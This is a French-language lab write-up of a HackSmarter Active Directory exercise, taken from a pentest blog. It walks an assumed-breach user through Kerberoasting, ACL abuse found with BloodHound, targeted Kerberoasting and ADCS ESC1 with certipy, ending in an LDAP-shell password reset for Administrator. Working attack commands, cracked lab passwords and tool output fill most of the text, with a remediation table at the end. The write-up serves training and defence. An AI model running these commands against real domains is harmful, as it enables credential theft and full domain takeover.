ZNote Logo
ZNote
Pentest LabseasyHackSmarter
07-08-2026
15 min

Lab Arasaka : Kerberoasting, Targeted Kerberoasting et ESC1 via LDAP Shell vers l'Administrateur du Domaine

Pentest Active Directory en scénario assumed breach avec un compte utilisateur standard : Kerberoasting classique pour un premier pivot, cartographie BloodHound d'une chaîne d'ACL GenericAll puis GenericWrite, exploitation d'un Targeted Kerberoasting pour compromettre un compte lié aux certificats, puis élévation à l'Administrateur du domaine via une vulnérabilité ESC1 dont l'authentification Kerberos échoue à cause d'un mot de passe expiré, contournée avec un LDAP Shell authentifié par certificat.

Active Directory
Kerberoasting
Targeted Kerberoasting
BloodHound
GenericAll
GenericWrite
ADCS
ESC1
Certipy
LDAP Shell
HackSmarter
Windows
Pentest

Contexte et Objectifs

ChampDétail
PlateformeHackSmarter
LienAccéder au lab
CibleDC01.hacksmarter.local, 10.1.10.116
OSWindows Server 2022 (Build 20348)
Domainehacksmarter.local
DifficultéFacile

Scénario : en tant que membre de la Hack Smarter Red Team, ce test d'intrusion démarre en scénario assumed breach avec des credentials valides pour un utilisateur de domaine standard, faraday. L'objectif est de simuler une attaque réaliste, d'identifier et d'exploiter les vulnérabilités permettant d'élever les privilèges d'un simple utilisateur jusqu'à Administrateur du Domaine.

Kill chain :

Sortie
Reconnaissance (RustScan & BloodHound) → DC Windows Server 2022 (hacksmarter.local / DC01), CA interne identifiée
        │
        ▼
faraday : ldapsearch et SMB → rien d'exploitable, ASREPRoast sur la liste des 15 users échoue
        │
        ▼
Kerberoasting initial sur alt.svc → hash cracké → babygirl1
        │
        ▼
Escalade via ACLs BloodHound/bloodyAD → GenericAll sur Yorinobu, reset Yorinobu, GenericWrite sur Soulkiller.svc
        │
        ▼
Targeted Kerberoasting sur Soulkiller.svc → hash cracké → MYpassword123#
        │
        ▼
Audit AD CS avec certipy-ad find → ESC1 vulnérable détecté sur Soulkiller.svc
        │
        ▼
Exploitation ESC1 & prise de contrôle totale → certificat Administrator, LDAP-shell auth, reset Admin, Evil-WinRM root

1. Reconnaissance

Commande
bash
rustscan -b 500 -a 10.1.10.116 -- -sC -sV -Pn

Output :

Sortie
PORT      STATE SERVICE       REASON          VERSION
53/tcp    open  domain        syn-ack ttl 126 Simple DNS Plus
88/tcp    open  kerberos-sec  syn-ack ttl 126 Microsoft Windows Kerberos (server time: 2026-08-07 06:10:50Z)
135/tcp   open  msrpc         syn-ack ttl 126 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 126 Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack ttl 126 Microsoft Windows Active Directory LDAP (Domain: hacksmarter.local, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.hacksmarter.local
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.hacksmarter.local
| Issuer: commonName=hacksmarter-DC01-CA/domainComponent=hacksmarter
|_ssl-date: TLS randomness does not represent time
445/tcp   open  microsoft-ds? syn-ack ttl 126
464/tcp   open  kpasswd5?     syn-ack ttl 126
593/tcp   open  ncacn_http    syn-ack ttl 126 Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      syn-ack ttl 126 Microsoft Windows Active Directory LDAP (Domain: hacksmarter.local, Site: Default-First-Site-Name)
3268/tcp  open  ldap          syn-ack ttl 126 Microsoft Windows Active Directory LDAP (Domain: hacksmarter.local, Site: Default-First-Site-Name)
3269/tcp  open  ssl/ldap      syn-ack ttl 126 Microsoft Windows Active Directory LDAP (Domain: hacksmarter.local, Site: Default-First-Site-Name)
3389/tcp  open  ms-wbt-server syn-ack ttl 126 Microsoft Terminal Services
| rdp-ntlm-info:
|   Target_Name: HACKSMARTER
|   NetBIOS_Domain_Name: HACKSMARTER
|   NetBIOS_Computer_Name: DC01
|   DNS_Domain_Name: hacksmarter.local
|   DNS_Computer_Name: DC01.hacksmarter.local
|   Product_Version: 10.0.20348
5985/tcp  open  http          syn-ack ttl 126 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp  open  mc-nmf        syn-ack ttl 126 .NET Message Framing
49664/tcp open  msrpc         syn-ack ttl 126 Microsoft Windows RPC
49667/tcp open  msrpc         syn-ack ttl 126 Microsoft Windows RPC
49668/tcp open  msrpc         syn-ack ttl 126 Microsoft Windows RPC
51980/tcp open  ncacn_http    syn-ack ttl 126 Microsoft Windows RPC over HTTP 1.0
51981/tcp open  msrpc         syn-ack ttl 126 Microsoft Windows RPC
51993/tcp open  msrpc         syn-ack ttl 126 Microsoft Windows RPC
52007/tcp open  msrpc         syn-ack ttl 126 Microsoft Windows RPC
52026/tcp open  msrpc         syn-ack ttl 126 Microsoft Windows RPC
63428/tcp open  msrpc         syn-ack ttl 126 Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required
|_clock-skew: mean: -1s, deviation: 0s, median: -1s

Analyse :

Nous sommes sur une machine Windows contrôleur de domaine avec des services tels que DNS, RDP, Kerberos, LDAP, WinRM et SMB. Le nom d'hôte est DC01 et le nom de domaine hacksmarter.local. Comme dans le lab Welcome, le certificat SSL présenté sur LDAPS révèle immédiatement la présence d'une CA interne : l'émetteur est hacksmarter-DC01-CA, confirmant qu'ADCS est déployé sur ce domaine. Cette information va se révéler décisive plus loin dans la chaîne d'attaque.


2. Énumération Initiale avec les Credentials Fournis

Le scénario démarre directement avec des credentials (faraday:hacksmarter123), inutile donc de tester les sessions anonyme et invité.

Commande
bash
ldapsearch -x -H ldap://hacksmarter.local -D "faraday" -w 'hacksmarter123' \
  -b "DC=hacksmarter,DC=local" "(sAMAccountName=faraday)"

faraday est un utilisateur assez simple de l'organisation. Une énumération sur les partages et les utilisateurs est menée afin de trouver des informations permettant de pivoter vers un autre compte.

Attributs LDAP du compte faraday

Exploration des Partages

Commande
bash
nxc smb hacksmarter.local -u 'faraday' -p 'hacksmarter123' --shares --smb-timeout 30
Sortie
SMB  10.1.10.116  445  DC01  [+] hacksmarter.local\faraday:hacksmarter123
SMB  10.1.10.116  445  DC01  Share      Permissions   Remark
SMB  10.1.10.116  445  DC01  ADMIN$                   Remote Admin
SMB  10.1.10.116  445  DC01  C$                        Default share
SMB  10.1.10.116  445  DC01  IPC$       READ           Remote IPC
SMB  10.1.10.116  445  DC01  NETLOGON   READ           Logon server share
SMB  10.1.10.116  445  DC01  SYSVOL     READ           Logon server share

Aucun partage particulier, et après exploration des partages par défaut, aucune information pertinente. On passe aux utilisateurs.

Les Utilisateurs

Commande
bash
nxc smb hacksmarter.local -u 'faraday' -p 'hacksmarter123' --users --smb-timeout 30
Sortie
SMB  10.1.10.116  445  DC01  -Username-       -Last PW Set-        -BadPW- -Description-
SMB  10.1.10.116  445  DC01  Administrator    2025-09-18 22:40:20  0       Built-in account for administering the computer/domain
SMB  10.1.10.116  445  DC01  Guest            <never>              0       Built-in account for guest access to the computer/domain
SMB  10.1.10.116  445  DC01  krbtgt           2025-09-21 02:51:44  0       Key Distribution Center Service Account
SMB  10.1.10.116  445  DC01  Goro             2025-09-21 15:00:31  0       Loyal to a fault
SMB  10.1.10.116  445  DC01  alt.svc          2025-09-21 15:07:42  0       Trapped for eternity
SMB  10.1.10.116  445  DC01  Yorinobu         2025-09-21 15:12:44  0
SMB  10.1.10.116  445  DC01  Hanako           2025-09-21 14:59:03  0       Waiting at embers
SMB  10.1.10.116  445  DC01  Faraday          2025-09-21 15:06:45  0
SMB  10.1.10.116  445  DC01  Smasher          2025-09-21 15:01:20  0
SMB  10.1.10.116  445  DC01  Soulkiller.svc   2025-09-21 15:30:13  0       Certificate managment for soulkiller AI
SMB  10.1.10.116  445  DC01  Hellman          2025-09-21 15:04:19  0
SMB  10.1.10.116  445  DC01  kei.svc          2025-09-21 15:05:16  0       Trapped for eternity
SMB  10.1.10.116  445  DC01  Silverhand.svc   2025-09-21 15:03:10  0       Trapped for eternity
SMB  10.1.10.116  445  DC01  Oda              2025-09-21 15:02:14  0
SMB  10.1.10.116  445  DC01  the_emperor      2025-11-06 17:19:03  0
SMB  10.1.10.116  445  DC01  [*] Enumerated 15 local users: HACKSMARTER

Un compte se distingue immédiatement par sa description : Soulkiller.svc, responsable de la gestion des certificats. C'est une piste à privilégier, cohérente avec la CA hacksmarter-DC01-CA déjà repérée. On peut essayer de l'ASREProast ou de le Kerberoaster directement.

ASREPRoast

Avec la liste de comptes collectée, nous pouvons tenter d'en extraire des hashes ASREPRoast.

Commande
bash
impacket-GetNPUsers hacksmarter.local/ -usersfile users.txt -dc-ip 10.1.10.116 \
  -format hashcat -request -outputfile ASREProastables.txt
Sortie
[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] User Goro doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User alt.svc doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Yorinobu doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Hanako doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Faraday doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Smasher doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Soulkiller.svc doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Hellman doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User kei.svc doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Silverhand.svc doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Oda doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User the_emperor doesn't have UF_DONT_REQUIRE_PREAUTH set

L'ASREPRoast n'a rien donné.


3. Kerberoasting Classique : Compromission de alt.svc

En tant que faraday, nous procédons à un Kerberoasting classique afin d'essayer de compromettre un autre compte.

Commande
bash
impacket-GetUserSPNs hacksmarter.local/faraday:'hacksmarter123' -dc-ip 10.1.10.116 \
  -request -outputfile kerberoastables.txt
Sortie
ServicePrincipalName            Name     MemberOf  PasswordLastSet             LastLogon  Delegation
------------------------------  -------  --------  --------------------------  ---------  ----------
AI/blackwall.hacksmarter.local  alt.svc            2025-09-21 17:07:42.894050  <never>

[-] CCache file is not found. Skipping...

Le résultat révèle le compte alt.svc, porteur du SPN AI/blackwall.hacksmarter.local. On tente de casser le hash récupéré :

Commande
bash
hashcat -m 13100 -a 0 kerberoastables.txt /usr/share/wordlists/rockyou.txt

Mot de passe de alt.svc cracké avec hashcat

Sortie
alt.svc : babygirl1

On teste les credentials obtenus:

Commande
bash
nxc smb hacksmarter.local -u 'alt.svc' -p 'babygirl1' --smb-timeout 30
Sortie
SMB  10.1.10.116  445  DC01  [+] hacksmarter.local\alt.svc:babygirl1

Les credentials sont valides.


4. Énumération de alt.svc

Après avoir obtenu les credentials du compte alt.svc, nous allons procéder à une énumération de ce dernier.

Commande
bash
ldapsearch -x -H ldap://hacksmarter.local -D "faraday" -w 'hacksmarter123' \
  -b "DC=hacksmarter,DC=local" "(sAMAccountName=alt.svc)"

Attributs LDAP du compte alt.svc

Rien de vraiment exploitable en surface sur ce compte. On passe sur BloodHound pour une cartographie plus large des droits du domaine.


5. Cartographie BloodHound

Pour une vue d'ensemble des droits du domaine, nous allons procéder à une cartographie BloodHound.

Collecte

Commande
bash
nxc ldap DC01.hacksmarter.local -u 'alt.svc' -p 'babygirl1' -d hacksmarter.local \
  --bloodhound --collection All --dns-server 10.1.10.116
Sortie
LDAP  10.1.10.116  389  DC01  [*] Windows Server 2022 Build 20348 (name:DC01) (domain:hacksmarter.local) (signing:None) (channel binding:Never)
LDAP  10.1.10.116  389  DC01  [+] hacksmarter.local\alt.svc:babygirl1
LDAP  10.1.10.116  389  DC01  Resolved collection methods: group, psremote, objectprops, rdp, localadmin, trusts, session, container, acl, dcom
LDAP  10.1.10.116  389  DC01  Done in 0M 35S
LDAP  10.1.10.116  389  DC01  Compressing output into /home/zcook/.nxc/logs/DC01_10.1.10.116_2026-08-07_084613_bloodhound.zip

Le flag --collection All demande la collecte de l'ensemble des méthodes disponibles (groupes, sessions actives, membres admin locaux, ACL, relations de confiance, etc.), résolues ici en dix catégories distinctes, la plus importante pour la suite étant acl.

Exploration

Le domaine compte deux comptes administrateurs : le compte builtin Administrator et le compte the_emperor.

Deux comptes administrateurs identifiés dans BloodHound

Depuis alt.svc, un chemin exploitable apparaît :

Sortie
alt.svc ──(GenericAll)──▶ Yorinobu ∈ Remote Management ──(GenericWrite)──▶ Soulkiller.svc

Chemin d'ACL identifié depuis alt.svc jusqu'à Soulkiller.svc

  • alt.svc dispose d'un droit GenericAll sur Yorinobu.
  • Yorinobu est membre du groupe Remote Management et possède un droit GenericWrite sur Soulkiller.svc.

L'explication de ce chemin consistera à :

  • Réinitialiser le mot de passe de Yorinobu en exploitant le droit GenericAll de alt.svc.
  • Rendre Soulkiller.svc Kerberoastable en modifiant ses attributs via le droit GenericWrite de Yorinobu.

6. Compromission de Yorinobu

Grâce au droit GenericAll de alt.svc sur Yorinobu, nous allons procéder à une réinitialisation du mot de passe de ce dernier.

Commande
bash
bloodyad -d hacksmarter.local -u alt.svc -p 'babygirl1' --host 10.1.10.116 \
  set password Yorinobu babygirl1
Sortie
[+] Password changed successfully!

Nous profitons de nos nouveaux droits pour nous connecter en tant que Yorinobu:

Commande
bash
evil-winrm -u Yorinobu -i 10.1.10.116 -p babygirl1

Connexion Evil-WinRM en tant que Yorinobu

Connexion fortuite qui n'a rien donné de plus : aucune information exploitable supplémentaire sur ce compte au-delà du droit GenericWrite déjà identifié via BloodHound.


7. Targeted Kerberoasting : Compromission de Soulkiller.svc

Référence : What is Targeted Kerberoasting - Trustmarque

Comprendre le Targeted Kerberoasting

Le Kerberoasting classique se limite aux comptes qui possèdent déjà un SPN configuré. Si le compte visé (par exemple un compte à privilèges élevés comme Soulkiller.svc) n'a aucun SPN, il est impossible de lui demander un TGS. Le Targeted Kerberoasting contourne cette limite lorsque l'attaquant contrôle un compte disposant d'un droit d'écriture sur le compte cible, ici GenericWrite.

Le principe :

  1. Injection du SPN : l'attaquant injecte un SPN factice (par exemple myfakeservice/domain.local) dans l'attribut servicePrincipalName du compte cible, en s'appuyant sur son droit d'écriture.
  2. Demande de TGS : le compte cible ayant désormais un SPN, n'importe quel utilisateur authentifié du domaine peut demander un ticket de service (TGS) pour lui auprès du KDC, exactement comme pour un Kerberoasting classique.
  3. Extraction et cassage : le TGS récupéré est chiffré avec le hash du compte cible, et peut être cassé hors ligne avec hashcat ou John.
  4. Nettoyage (OpSec) : en conditions réelles, l'attaquant retire le SPN temporaire injecté à l'étape 1 pour limiter les traces de modification. Dans le cadre de ce lab, cette étape n'est pas nécessaire.

Exploitation

Commande
bash
targetedKerberoast -v -d hacksmarter.local -u 'Yorinobu' -p 'babygirl1'

L'outil injecte automatiquement le SPN factice sur les comptes accessibles en écriture depuis Yorinobu, ici Soulkiller.svc, puis demande directement le TGS correspondant.

Résultat de targetedKerberoast sur Soulkiller.svc

On sauvegarde le résultat de l'extraction dans un fichier pour pouvoir le cracker hors ligne.

Commande
bash
hashcat -m 13100 -a 0 targetedker.txt /usr/share/wordlists/rockyou.txt

Mot de passe de Soulkiller.svc cracké avec hashcat

Sortie
Soulkiller.svc : MYpassword123#

Et comme sa description l'indiquait, ce compte a un lien direct avec le groupe des certificats.

Lien entre Soulkiller.svc et le groupe certificats

On vérifie donc directement les certificats.


8. Abus de Certificat : ESC1

Identification des certificats vulnérables

Commande
bash
certipy-ad find -u 'Soulkiller.svc' -p 'MYpassword123#' -dc-ip 10.1.10.116 \
  -target-ip 10.1.10.116 -vulnerable
Sortie
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Finding issuance policies
[*] Found 14 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'hacksmarter-DC01-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Successfully retrieved CA configuration for 'hacksmarter-DC01-CA'
[*] Checking web enrollment for CA 'hacksmarter-DC01-CA' @ 'DC01.hacksmarter.local'
[!] Error checking web enrollment: timed out
[*] Saving text output to '20260807095348_Certipy.txt'
[*] Wrote text output to '20260807095348_Certipy.txt'
[*] Saving JSON output to '20260807095348_Certipy.json'
[*] Wrote JSON output to '20260807095348_Certipy.json'

Le résultat pointe une vulnérabilité ESC1.

Template vulnérable ESC1 identifié

Exploitation ESC1

Étape 1 : Soumission de la requête de certificat au nom de l'Administrateur :

Commande
bash
certipy-ad req -u 'Soulkiller.svc' -p 'MYpassword123#' -ca hacksmarter-DC01-CA \
  -template AI_Takeover -target-ip 10.1.10.116 -upn 'Administrator@hacksmarter.local'
Sortie
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Request ID is 3
[*] Successfully requested certificate
[*] Got certificate with UPN 'Administrator@hacksmarter.local'
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'

Le certificat est émis sans vérification du SAN soumis.

Étape 2 : Authentification Kerberos avec ce certificat :

Commande
bash
certipy-ad auth -pfx administrator.pfx -dc-ip 10.1.10.116

Échec de l'authentification Kerberos avec le certificat

L'authentification échoue avec l'erreur KDC_ERR_KEY_EXPIRED. Ce code d'erreur Kerberos signifie que le mot de passe (ou la clé) du compte visé a expiré côté annuaire, ou que le compte est configuré pour forcer un changement de mot de passe à la prochaine connexion. Le certificat est valide et prouve bien l'identité d'Administrator, mais le KDC refuse d'émettre un TGT utilisable tant que cette condition n'est pas levée.


9. Contournement via LDAP Shell

Le certificat prouve la possession cryptographique de l'identité d'Administrator, indépendamment du fait que le TGT Kerberos classique soit utilisable. Certipy propose une option -ldap-shell qui, au lieu de passer par Kerberos, utilise ce même certificat pour s'authentifier directement sur LDAP via Schannel (authentification TLS par certificat client). Ce canal d'authentification est entièrement distinct de Kerberos et n'est pas affecté par l'expiration du mot de passe du compte : il permet d'ouvrir une session LDAP authentifiée en tant qu'Administrator, avec un shell interactif proposant des opérations LDAP directes, dont la réinitialisation du mot de passe du compte lui-même.

Commande
bash
certipy-ad auth -pfx administrator.pfx -dc-ip 10.1.10.116 -ldap-shell

Session LDAP Shell authentifiée par certificat

Depuis ce shell LDAP authentifié en tant qu'Administrator, le mot de passe du compte est réinitialisé.

Validation

Commande
bash
nxc smb hacksmarter.local -u 'Administrator' -p 'NewPass123!' --shares --smb-timeout 30
Sortie
SMB  10.1.10.116  445  DC01  [+] hacksmarter.local\Administrator:NewPass123! (Pwn3d!)
SMB  10.1.10.116  445  DC01  Share      Permissions   Remark
SMB  10.1.10.116  445  DC01  ADMIN$     READ,WRITE     Remote Admin
SMB  10.1.10.116  445  DC01  C$         READ,WRITE     Default share
SMB  10.1.10.116  445  DC01  IPC$       READ           Remote IPC
SMB  10.1.10.116  445  DC01  NETLOGON   READ,WRITE     Logon server share
SMB  10.1.10.116  445  DC01  SYSVOL     READ,WRITE     Logon server share

Le tag (Pwn3d!) confirme l'accès administrateur complet sur le domaine.

Sortie
Administrator : NewPass123!

10. Flag Root

Commande
bash
evil-winrm -u Administrator -i 10.1.10.116 -p 'NewPass123!'

Flag root récupéré sur le bureau d'Administrator

Compromission totale du domaine.


11. Conclusion et Remédiation

Kill Chain Complète

Sortie
1. RustScan                  → DC01.hacksmarter.local, ADCS détecté via cert SSL (hacksmarter-DC01-CA)
2. Faraday                   → aucun partage/info exploitable, 15 users énumérés
3. ASREPRoast                → rien
4. Kerberoasting classique   → alt.svc → babygirl1
5. BloodHound                → alt.svc → GenericAll Yorinobu → GenericWrite Soulkiller.svc
6. Compromission Yorinobu    → reset mdp via GenericAll, accès WinRM sans intérêt direct
7. Targeted Kerberoasting    → Soulkiller.svc → MYpassword123#
8. Exploitation ADCS ESC1    → template AI_Takeover vulnérable ESC1
9. ESC1 (PKINIT)             → échoue, KDC_ERR_KEY_EXPIRED (mdp Administrator expiré)
10. certipy-ad -ldap-shell    → reset mdp Administrator via authentification certificat sur LDAP
11. Evil-WinRM (Administrator)→ Flag root

Remédiation

VecteurProblèmeRemédiation
Kerberoasting sur alt.svcCompte de service porteur d'un SPN avec un mot de passe faible cassable via rockyou.txtUtiliser des gMSA avec rotation automatique pour tout compte de service porteur de SPN
GenericAll délégué (alt.svc → Yorinobu)Un compte de service dispose d'un contrôle total sur un compte utilisateur sans lien fonctionnelRestreindre les délégations ACL au strict nécessaire fonctionnel, auditer régulièrement les droits GenericAll/GenericWrite avec BloodHound
GenericWrite délégué (Yorinobu → Soulkiller.svc)Un droit d'écriture ouvre la porte au Targeted Kerberoasting sur un compte lié aux certificatsRetirer les délégations GenericWrite non justifiées, surveiller les modifications de l'attribut servicePrincipalName via l'Event ID 5136
Template ESC1 (AI_Takeover)Enrollment excessif + SAN fourni par le demandeur + authentification + pas d'approbation managerRetirer ENROLLEE_SUPPLIES_SUBJECT, restreindre les droits d'enrollment, exiger l'approbation manager sur les templates permettant l'authentification
Réinitialisation de mot de passe via LDAP Shell certifiéUn certificat valide permet de contourner un blocage Kerberos (mdp expiré) via un canal d'authentification alternatif (Schannel/LDAP)Restreindre les droits d'écriture sur l'attribut unicodePwd même pour les identités authentifiées par certificat, monitorer les binds LDAP via Schannel

[!NOTE] Ce lab illustre un point souvent négligé en environnement ADCS : une contre-mesure partielle (ici, un mot de passe Administrator expiré qui bloque l'obtention normale d'un TGT via PKINIT) ne suffit pas à elle seule à arrêter un attaquant disposant déjà d'un certificat valide. Le certificat reste une preuve d'identité utilisable sur d'autres canaux d'authentification, comme LDAP via Schannel, tant que les droits associés à cette identité ne sont pas eux-mêmes révoqués ou restreints.


Writeup rédigé par Zcook